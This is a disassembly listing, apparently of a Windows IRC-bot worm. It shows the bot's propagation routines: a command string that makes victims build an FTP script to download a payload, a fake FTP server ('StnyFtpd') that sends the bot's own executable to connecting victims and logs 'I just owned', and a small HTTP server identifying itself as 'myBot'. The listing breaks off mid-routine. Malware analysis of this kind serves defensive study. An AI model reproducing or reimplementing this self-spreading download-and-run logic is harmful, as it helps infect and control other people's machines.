sub_418E56 pop ecx mov dword_4D0A9C, eax pop ecx mov [ebp+var_12], ax lea eax, [ebp+var_14] push 10h push eax push edi call dword_4CDC90 ; bind cmp eax, esi jnz short loc_40F13F call dword_4CDBF8 ; WSAGetLastError xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40F11F cmp eax, 2740h jz short loc_40F11F push esi lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409982 add esp, 14h loc_40F11F: ; CODE XREF: sub_40EF9D+159j ; sub_40EF9D+160j lea eax, [ebp+var_2C0] push eax call sub_4157A5 push [ebp+var_AC] call sub_40B2A3 pop ecx pop ecx push esi call dword_4280CC ; ExitThread loc_40F13F: ; CODE XREF: sub_40EF9D+CDj ; sub_40EF9D+14Cj push 5 push edi call dword_4CDC8C ; listen cmp eax, esi jz loc_40F224 mov [ebp+var_4], 10h mov esi, offset byte_42A10C loc_40F15C: ; CODE XREF: sub_40EF9D+1D7j ; sub_40EF9D+227j ... lea eax, [ebp+var_4] push eax lea eax, [ebp+var_C0] push eax push edi call dword_4CDCF8 ; accept cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40F15C cmp [ebp+var_1C], 0 jnz short loc_40F19D push 0 lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_409982 add esp, 14h loc_40F19D: ; CODE XREF: sub_40EF9D+1DDj lea eax, [ebp+var_2C0] push eax call sub_4157A5 pop ecx lea eax, [ebp+var_2C0] push 0 push 200h push eax push [ebp+arg_0] call dword_4CDC7C ; recv cmp eax, 0FFFFFFFFh jz short loc_40F15C push esi push esi push dword_4CD998 push [ebp+var_B0] call sub_40AB14 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"... lea eax, [ebp+var_6C0] push ebx push eax call sub_41C150 add esp, 1Ch lea eax, [ebp+var_6C0] push 0 push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_6C0] push eax push [ebp+arg_0] call dword_4CDCB4 ; send cmp eax, 0FFFFFFFFh jz loc_40F15C inc dword_4D0AA0 jmp loc_40F15C ; --------------------------------------------------------------------------- loc_40F224: ; CODE XREF: sub_40EF9D+1ADj push edi call dword_4CDCFC ; closesocket push [ebp+var_AC] call sub_40B2A3 pop ecx push 0 call dword_4280CC ; ExitThread sub_40EF9D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F23F proc near ; DATA XREF: sub_40B945+22Bo var_A70 = byte ptr -0A70h var_8E0 = byte ptr -8E0h var_6E0 = dword ptr -6E0h var_4C8 = byte ptr -4C8h var_448 = dword ptr -448h var_444 = dword ptr -444h var_43C = dword ptr -43Ch var_338 = byte ptr -338h var_2D4 = byte ptr -2D4h var_2A0 = byte ptr -2A0h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_138 = byte ptr -138h var_128 = byte ptr -128h var_FC = byte ptr -0FCh var_C8 = byte ptr -0C8h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = dword ptr -38h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A70h mov eax, [ebp+arg_0] push ebx push esi push edi xor ebx, ebx mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6E0] inc ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A70] xor esi, esi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_20], ebx mov [ebp+var_18], ebx mov [ebp+var_23C], esi mov [ebp+var_43C], esi call dword_4281F4 ; WSAStartup push esi push ebx push 2 call dword_428220 ; socket mov esi, dword_428214 lea ecx, [ebp+var_28] push 4 push ecx mov edi, 0FFFFh push 4 push edi push eax mov [ebp+var_8], eax call esi ; setsockopt lea eax, [ebp+var_20] push 4 push eax push 0FFFFFFFBh push edi mov edi, [ebp+var_8] push edi call esi ; setsockopt lea eax, [ebp+var_18] push eax push 8004667Eh push edi call dword_4281F8 ; ioctlsocket mov ax, word ptr dword_4CD998 and [ebp+var_38], 0 push eax mov [ebp+var_3C], 2 call dword_4CDC64 ; ntohs mov [ebp+var_3A], ax lea eax, [ebp+var_3C] push 10h push eax push edi call dword_4281FC ; bind test eax, eax jge short loc_40F305 mov eax, ebx jmp loc_40F838 ; --------------------------------------------------------------------------- loc_40F305: ; CODE XREF: sub_40F23F+BDj push 0Ah push edi call dword_428200 ; listen mov [ebp+var_23C], ebx mov ebx, dword_428224 mov [ebp+var_238], edi mov [ebp+var_4], edi loc_40F323: ; CODE XREF: sub_40F23F+11Bj ; sub_40F23F+5F1j push 41h lea esi, [ebp+var_23C] pop ecx lea edi, [ebp+var_43C] rep movsd xor edi, edi lea eax, [ebp+var_43C] push edi push edi push edi push eax mov eax, [ebp+var_4] inc eax push eax call dword_428228 ; select cmp eax, 0FFFFFFFFh jz loc_40F835 cmp [ebp+var_4], edi mov [ebp+arg_0], edi jl short loc_40F323 loc_40F35C: ; CODE XREF: sub_40F23F+5EBj xor esi, esi push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_41BD60 push 64h lea eax, [ebp+var_B0] push esi push eax call sub_41BD60 add esp, 18h lea eax, [ebp+var_43C] push eax push edi call sub_426FF6 ; __WSAFDIsSet test eax, eax jz loc_40F823 cmp edi, [ebp+var_8] jnz short loc_40F405 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_138] push eax push [ebp+var_8] call dword_428204 ; accept cmp eax, 0FFFFFFFFh jz loc_40F823 mov edx, [ebp+var_23C] xor ecx, ecx cmp edx, esi jbe short loc_40F3D7 loc_40F3C9: ; CODE XREF: sub_40F23F+196j cmp [ebp+ecx*4+var_238], eax jz short loc_40F3D7 inc ecx cmp ecx, edx jb short loc_40F3C9 loc_40F3D7: ; CODE XREF: sub_40F23F+188j ; sub_40F23F+191j cmp ecx, edx jnz short loc_40F3ED cmp edx, 40h jnb short loc_40F3ED mov [ebp+ecx*4+var_238], eax inc [ebp+var_23C] loc_40F3ED: ; CODE XREF: sub_40F23F+19Aj ; sub_40F23F+19Fj cmp eax, [ebp+var_4] jle short loc_40F3F5 mov [ebp+var_4], eax loc_40F3F5: ; CODE XREF: sub_40F23F+1B1j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_40F823 ; --------------------------------------------------------------------------- loc_40F405: ; CODE XREF: sub_40F23F+158j push esi lea eax, [ebp+var_2A0] push 64h push eax push edi call dword_428218 ; recv test eax, eax jg short loc_40F462 mov ecx, [ebp+var_23C] xor eax, eax cmp ecx, esi jbe short loc_40F456 loc_40F426: ; CODE XREF: sub_40F23F+1F3j cmp [ebp+eax*4+var_238], edi jz short loc_40F44B inc eax cmp eax, ecx jb short loc_40F426 jmp short loc_40F456 ; --------------------------------------------------------------------------- loc_40F436: ; CODE XREF: sub_40F23F+20Fj mov ecx, [ebp+eax*4+var_234] mov [ebp+eax*4+var_238], ecx mov ecx, [ebp+var_23C] inc eax loc_40F44B: ; CODE XREF: sub_40F23F+1EEj dec ecx cmp eax, ecx jb short loc_40F436 dec [ebp+var_23C] loc_40F456: ; CODE XREF: sub_40F23F+1E5j ; sub_40F23F+1F5j push edi call dword_42821C ; closesocket jmp loc_40F823 ; --------------------------------------------------------------------------- loc_40F462: ; CODE XREF: sub_40F23F+1D9j lea eax, [ebp+var_338] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2A0] push offset aSS_0 ; "%s %s" push eax call sub_41CE15 lea eax, [ebp+var_B0] push offset aUser_1 ; "USER" push eax call sub_41C840 add esp, 18h test eax, eax jnz short loc_40F4A6 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40F80E ; --------------------------------------------------------------------------- loc_40F4A6: ; CODE XREF: sub_40F23F+258j lea eax, [ebp+var_B0] push offset aPass ; "PASS" push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40F4CA push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_40F80E ; --------------------------------------------------------------------------- loc_40F4CA: ; CODE XREF: sub_40F23F+27Cj lea eax, [ebp+var_B0] push offset aSyst ; "SYST" push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40F4EE push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_40F80E ; --------------------------------------------------------------------------- loc_40F4EE: ; CODE XREF: sub_40F23F+2A0j lea eax, [ebp+var_B0] push offset aRest ; "REST" push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40F512 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_40F80E ; --------------------------------------------------------------------------- loc_40F512: ; CODE XREF: sub_40F23F+2C4j lea eax, [ebp+var_B0] push offset off_436454 push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40F536 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_40F80E ; --------------------------------------------------------------------------- loc_40F536: ; CODE XREF: sub_40F23F+2E8j lea eax, [ebp+var_B0] push offset aType ; "TYPE" push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40F571 lea eax, [ebp+var_338] push offset aA_0 ; "A" push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40F571 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40F80E ; --------------------------------------------------------------------------- loc_40F571: ; CODE XREF: sub_40F23F+30Cj ; sub_40F23F+323j lea eax, [ebp+var_B0] push offset aType ; "TYPE" push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40F5AC lea eax, [ebp+var_338] push offset aI_0 ; "I" push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40F5AC push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40F80E ; --------------------------------------------------------------------------- loc_40F5AC: ; CODE XREF: sub_40F23F+347j ; sub_40F23F+35Ej lea eax, [ebp+var_B0] push offset aPasv ; "PASV" push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40F5FA push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_128] rep movsd push eax lea eax, [ebp+var_128] push eax movsw call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_128] loc_40F5EA: ; CODE XREF: sub_40F23F+3FAj push eax push [ebp+arg_0] call ebx ; send mov edi, [ebp+arg_0] xor esi, esi jmp loc_40F811 ; --------------------------------------------------------------------------- loc_40F5FA: ; CODE XREF: sub_40F23F+382j lea eax, [ebp+var_B0] push offset aList_0 ; "LIST" push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40F63B push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C8] rep movsd movsw push eax lea eax, [ebp+var_C8] push eax movsb call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_C8] jmp short loc_40F5EA ; --------------------------------------------------------------------------- loc_40F63B: ; CODE XREF: sub_40F23F+3D0j lea eax, [ebp+var_B0] push offset aPort ; "PORT" push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_40F70C lea eax, [ebp+var_2D4] push eax lea eax, [ebp+var_FC] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_2A0] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_41CE15 lea eax, [ebp+var_FC] push eax call sub_41BF49 mov [ebp+var_C], eax lea eax, [ebp+var_2D4] push eax call sub_41BF49 mov [ebp+arg_0], eax push 32h lea eax, [ebp+var_FC] push esi push eax call sub_41BD60 push [ebp+arg_0] lea eax, [ebp+var_FC] push [ebp+var_C] push offset aXX ; "%x%x\n" push eax call sub_41C056 add esp, 44h lea eax, [ebp+var_FC] push 10h push esi push eax call sub_41C595 mov [ebp+var_C], eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_4C] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_41C056 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_40F80E ; --------------------------------------------------------------------------- loc_40F70C: ; CODE XREF: sub_40F23F+411j lea eax, [ebp+var_B0] push offset aRetr ; "RETR" push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz loc_40F7EF push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_C] lea eax, [ebp+var_4C] push eax call sub_40F83F pop ecx cmp eax, 1 pop ecx jnz loc_40F7E5 cmp [ebp+var_444], esi jnz short loc_40F774 push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_409982 add esp, 14h loc_40F774: ; CODE XREF: sub_40F23F+510j call sub_40F8BC cmp eax, 1 jnz loc_40F811 push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_8E0] push offset aFtpIJustOwnedS ; "[FTP]: I just owned: %s" push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40F7D0 push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_409982 add esp, 14h loc_40F7D0: ; CODE XREF: sub_40F23F+56Cj lea eax, [ebp+var_8E0] push eax call sub_4157A5 inc dword_4D0764 pop ecx jmp short loc_40F811 ; --------------------------------------------------------------------------- loc_40F7E5: ; CODE XREF: sub_40F23F+504j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40F80E ; --------------------------------------------------------------------------- loc_40F7EF: ; CODE XREF: sub_40F23F+4E2j lea eax, [ebp+var_B0] push offset aQuit ; "QUIT" push eax call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_40F811 push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40F80E: ; CODE XREF: sub_40F23F+262j ; sub_40F23F+286j ... push edi call ebx ; send loc_40F811: ; CODE XREF: sub_40F23F+3B6j ; sub_40F23F+53Dj ... push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_41BD60 add esp, 0Ch loc_40F823: ; CODE XREF: sub_40F23F+14Fj ; sub_40F23F+178j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_40F35C jmp loc_40F323 ; --------------------------------------------------------------------------- loc_40F835: ; CODE XREF: sub_40F23F+10Fj xor eax, eax inc eax loc_40F838: ; CODE XREF: sub_40F23F+C1j pop edi pop esi pop ebx leave retn 4 sub_40F23F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F83F proc near ; CODE XREF: sub_40F23F+4FAp var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_4281F4 ; WSAStartup push 0 push 1 push 2 call dword_428220 ; socket push [ebp+arg_0] mov dword_4D0AA4, eax mov [ebp+var_10], 2 call dword_428234 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_42820C ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_4D0AA4 call dword_428210 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40F8B7 push dword_4D0AA4 call dword_42821C ; closesocket call dword_4281F0 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F8B7: ; CODE XREF: sub_40F83F+60j xor eax, eax inc eax leave retn sub_40F83F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F8BC proc near ; CODE XREF: sub_40F23F:loc_40F774p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call dword_428074 ; GetModuleFileNameA lea eax, [ebp+var_104] push offset dword_42A06C push eax call sub_41BC92 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F953 test byte ptr [esi+0Ch], 10h jnz short loc_40F937 push edi mov edi, 400h loc_40F8FF: ; CODE XREF: sub_40F8BC+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_41B8EA add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_4D0AA4 call dword_428224 ; send push 1 call dword_428064 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_40F8FF pop edi loc_40F937: ; CODE XREF: sub_40F8BC+3Bj push esi call sub_41B82B pop ecx push dword_4D0AA4 call dword_42821C ; closesocket call dword_4281F0 ; WSACleanup xor eax, eax inc eax loc_40F953: ; CODE XREF: sub_40F8BC+35j pop esi leave retn sub_40F8BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F956 proc near ; DATA XREF: sub_401B66+21A0o ; sub_40B945+46Co var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = byte ptr -138h var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41C2F0 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] xor ebx, ebx rep movsd xor esi, esi push 10h inc esi push ebx mov [eax+3ACh], esi lea eax, [ebp+var_24] push eax mov [ebp+var_14], esi call sub_41BD60 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CDC64 ; ntohs push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CDCE4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_40FD1C mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_440BA4[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CDC90 ; bind cmp eax, 0FFFFFFFFh jz loc_40FD1C push 7FFFFFFFh push edi call dword_4CDC8C ; listen cmp eax, 0FFFFFFFFh jz loc_40FD1C lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CDD00 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_40FD1C mov ebx, esi mov [ebp+var_124], edi mov [ebp+var_128], ebx mov [ebp+var_4], edi loc_40FA2D: ; CODE XREF: sub_40F956+3BCj push 41h xor eax, eax pop ecx lea esi, [ebp+var_128] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_4] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CDC4C ; select cmp eax, 0FFFFFFFFh jz loc_40FD17 xor edi, edi mov [ebp+arg_0], edi loc_40FA63: ; CODE XREF: sub_40F956+3B6j lea eax, [ebp+var_6F0] push eax push edi call dword_4CDB50 ; __WSAFDIsSet test eax, eax jz loc_40FD02 cmp edi, [ebp+var_8] jnz short loc_40FAE4 lea eax, [ebp+var_C] mov [ebp+var_C], 10h push eax lea eax, [ebp+var_138] push eax push [ebp+var_8] call dword_4CDCF8 ; accept cmp eax, 0FFFFFFFFh jz loc_40FD02 xor ecx, ecx test ebx, ebx jbe short loc_40FAB6 loc_40FAA8: ; CODE XREF: sub_40F956+15Ej cmp [ebp+ecx*4+var_124], eax jz short loc_40FAB6 inc ecx cmp ecx, ebx jb short loc_40FAA8 loc_40FAB6: ; CODE XREF: sub_40F956+150j ; sub_40F956+159j cmp ecx, ebx jnz short loc_40FAD3 cmp ebx, 40h jnb short loc_40FAD3 mov [ebp+ecx*4+var_124], eax mov ebx, [ebp+var_128] inc ebx mov [ebp+var_128], ebx loc_40FAD3: ; CODE XREF: sub_40F956+162j ; sub_40F956+167j cmp eax, [ebp+var_4] jbe loc_40FD02 mov [ebp+var_4], eax jmp loc_40FD02 ; --------------------------------------------------------------------------- loc_40FAE4: ; CODE XREF: sub_40F956+126j mov esi, 1000h lea eax, [ebp+var_28F0] push esi push 0 push eax call sub_41BD60 push esi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BD60 add esp, 18h lea eax, [ebp+var_28F0] push 0 push esi push eax push edi call dword_4CDC7C ; recv test eax, eax jg short loc_40FB6B push edi call dword_4CDCFC ; closesocket xor eax, eax test ebx, ebx jbe loc_40FD02 loc_40FB30: ; CODE XREF: sub_40F956+1E6j cmp [ebp+eax*4+var_124], edi jz short loc_40FB58 inc eax cmp eax, ebx jb short loc_40FB30 jmp loc_40FD02 ; --------------------------------------------------------------------------- loc_40FB43: ; CODE XREF: sub_40F956+207j mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ebx, [ebp+var_128] inc eax loc_40FB58: ; CODE XREF: sub_40F956+1E1j lea ecx, [ebx-1] cmp eax, ecx jb short loc_40FB43 dec ebx mov [ebp+var_128], ebx jmp loc_40FD02 ; --------------------------------------------------------------------------- loc_40FB6B: ; CODE XREF: sub_40F956+1C7j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41BD60 lea eax, [ebp+var_28F0] xor edi, edi push eax call sub_41B7B0 add esp, 10h test eax, eax jbe loc_40FD02 loc_40FB98: ; CODE XREF: sub_40F956+2F9j mov al, [ebp+edi+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40FC3E mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41C0D0 pop ecx test eax, eax pop ecx jz short loc_40FC0E lea eax, [ebp+var_18F0] push eax call sub_41B7B0 cmp eax, 5 pop ecx jbe short loc_40FC0E mov eax, offset asc_42E0C8 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41C0D0 pop ecx pop ecx push eax call sub_41C0D0 pop ecx pop ecx push eax call sub_41C8C4 push eax lea eax, [ebp+var_23C] push eax call sub_41C680 add esp, 10h jmp short loc_40FC25 ; --------------------------------------------------------------------------- loc_40FC0E: ; CODE XREF: sub_40F956+26Ej ; sub_40F956+280j lea eax, [ebp+var_18F0] push offset asc_436514 ; "\r\n" push eax call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_40FC5A loc_40FC25: ; CODE XREF: sub_40F956+2B6j push 1000h lea eax, [ebp+var_18F0] push 0 push eax call sub_41BD60 add esp, 0Ch or esi, 0FFFFFFFFh loc_40FC3E: ; CODE XREF: sub_40F956+252j lea eax, [ebp+var_28F0] inc edi push eax inc esi call sub_41B7B0 cmp edi, eax pop ecx jb loc_40FB98 jmp loc_40FD02 ; --------------------------------------------------------------------------- loc_40FC5A: ; CODE XREF: sub_40F956+2CDj xor eax, eax test ebx, ebx jbe short loc_40FC96 loc_40FC60: ; CODE XREF: sub_40F956+319j mov ecx, [ebp+eax*4+var_124] cmp ecx, [ebp+arg_0] jz short loc_40FC88 inc eax cmp eax, ebx jb short loc_40FC60 jmp short loc_40FC96 ; --------------------------------------------------------------------------- loc_40FC73: ; CODE XREF: sub_40F956+337j mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ebx, [ebp+var_128] inc eax loc_40FC88: ; CODE XREF: sub_40F956+314j lea ecx, [ebx-1] cmp eax, ecx jb short loc_40FC73 dec ebx mov [ebp+var_128], ebx loc_40FC96: ; CODE XREF: sub_40F956+308j ; sub_40F956+31Bj lea eax, [ebp+var_360] push eax call sub_41B7B0 mov esi, eax lea eax, [ebp+var_23C] push eax call sub_41B7B0 add esi, eax pop ecx cmp esi, 104h pop ecx jnb short loc_40FCF9 and [ebp+var_10], 0 lea eax, [ebp+var_10] push eax push 8004667Eh push [ebp+arg_0] call dword_4CDD00 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push [ebp+arg_0] call sub_40FF08 add esp, 14h jmp short loc_40FD02 ; --------------------------------------------------------------------------- loc_40FCF9: ; CODE XREF: sub_40F956+364j push [ebp+arg_0] call dword_4CDCFC ; closesocket loc_40FD02: ; CODE XREF: sub_40F956+11Dj ; sub_40F956+146j ... mov edi, [ebp+arg_0] inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jbe loc_40FA63 jmp loc_40FA2D ; --------------------------------------------------------------------------- loc_40FD17: ; CODE XREF: sub_40F956+102j mov edi, [ebp+var_8] xor ebx, ebx loc_40FD1C: ; CODE XREF: sub_40F956+6Aj ; sub_40F956+92j ... call dword_4CDBF8 ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset unk_4364EC push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40FD62 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409982 add esp, 14h loc_40FD62: ; CODE XREF: sub_40F956+3E7j lea eax, [ebp+var_8F0] push eax call sub_4157A5 pop ecx push edi call dword_4CDCFC ; closesocket push [ebp+var_254] call sub_40B2A3 pop ecx push ebx call dword_4280CC ; ExitThread pop edi pop esi pop ebx sub_40F956 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FD8C proc near ; DATA XREF: sub_40FF08+245o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41C2F0 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41C056 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_41C056 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi lea eax, [ebp+var_9C] jz short loc_40FDF7 push offset aTextHtml ; "text/html" jmp short loc_40FDFC ; --------------------------------------------------------------------------- loc_40FDF7: ; CODE XREF: sub_40FD8C+62j push offset aApplicationOct ; "application/octet-stream" loc_40FDFC: ; CODE XREF: sub_40FD8C+69j push eax call sub_41C056 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call dword_428108 ; GetDateFormatA lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call dword_428104 ; GetTimeFormatA lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_9C] jnz short loc_40FE6F push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C056 add esp, 24h jmp short loc_40FE8A ; --------------------------------------------------------------------------- loc_40FE6F: ; CODE XREF: sub_40FD8C+CAj push [ebp+var_B8] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C056 add esp, 28h loc_40FE8A: ; CODE XREF: sub_40FD8C+E1j lea eax, [ebp+var_1654] push edi push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CDCB4 ; send cmp [ebp+var_A4], edi jnz short loc_40FECA lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_410838 pop ecx pop ecx jmp short loc_40FEE7 ; --------------------------------------------------------------------------- loc_40FECA: ; CODE XREF: sub_40FD8C+126j lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_4101B7 add esp, 10h loc_40FEE7: ; CODE XREF: sub_40FD8C+13Cj push [ebp+var_44C] call dword_4CDCFC ; closesocket push [ebp+var_B4] call sub_40B2A3 pop ecx push edi call dword_4280CC ; ExitThread pop edi pop esi sub_40FD8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF08 proc near ; CODE XREF: sub_40F956+399p var_8C4 